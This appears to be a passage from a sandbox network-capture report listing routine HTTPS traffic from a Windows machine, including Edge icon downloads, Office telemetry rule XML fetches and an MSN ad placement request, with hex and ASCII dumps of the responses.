2024-11-28 01:27:47 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49886	13.107.246.63	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:47 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012746Z-174f7845968cpnpfhC1EWR3afc0000000x8g00000000msc8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:47 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49889	13.107.246.63	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:47 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f78da902-c01e-0071-68ed-401a3e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012746Z-174f78459685m244hC1EWRgp2c0000000xeg00000000nqvk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:47 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49891	13.107.246.63	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:46 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:47 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:46 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012746Z-174f78459684bddphC1EWRbht40000000xf000000000a9ke Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:47 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:47 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012748Z-174f7845968vqt9xhC1EWRgten0000000xpg00000000ky86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:47 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 3111ff0c-301e-001f-4971-40aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012748Z-174f7845968psccphC1EWRuz9s0000000xwg00000000kbp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:48 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:48 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:48 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a67ffab-601e-00ab-7222-4166f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012748Z-174f7845968pf68xhC1EWRr4h80000000y300000000011gt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:48 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49900	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:48 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012743Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=21c1321445f3482780839e355c7de4b1&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-88000045&oemName=imnjiu%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=imnjiu20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p= Cache-Control: no-cache MS-CV: n9aiIlyytEu+1rha.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 01:27:49 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2945 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: XgDXhiDSEk63EIHY92BHqAKPZga6O6P+kwZrDLrd5ZzifKmupDj3exTLUS4g/56JeRW0uQRizJ6U74tpe9RgR56uOtFbKcybBOX97BGQs4AKZ/qUWfUxctI9eyJFJqSmwtLQumF9DWtqMBRRgb1fdB1YTEMCjekkpTLC29Fg4Il8AMQJeQQR85rwNUQpZ+R/bY0r/tAn33e/mwCucg+IIRlVHAFG0XoBbtDsiMPqfR1ngSczNJAZhlPjOiOSGXGP2/ViI3WVyD+AyxUaXY1U7zzfQoU4vuEHxwVbUBuom6Zyma8AfiM4sEcID4ngNn8dDvCcw7e2wXaDMBGnNLY3fA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 01:27:47 GMT Connection: close
2024-11-28 01:27:49 UTC	2945	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:48 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012748Z-174f7845968zgtf6hC1EWRqd8s0000000qkg00000000nxq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:49 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:48 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 512a133a-001e-0066-4733-40561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012749Z-174f7845968j6t2phC1EWRcfe80000000y0000000000113p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> 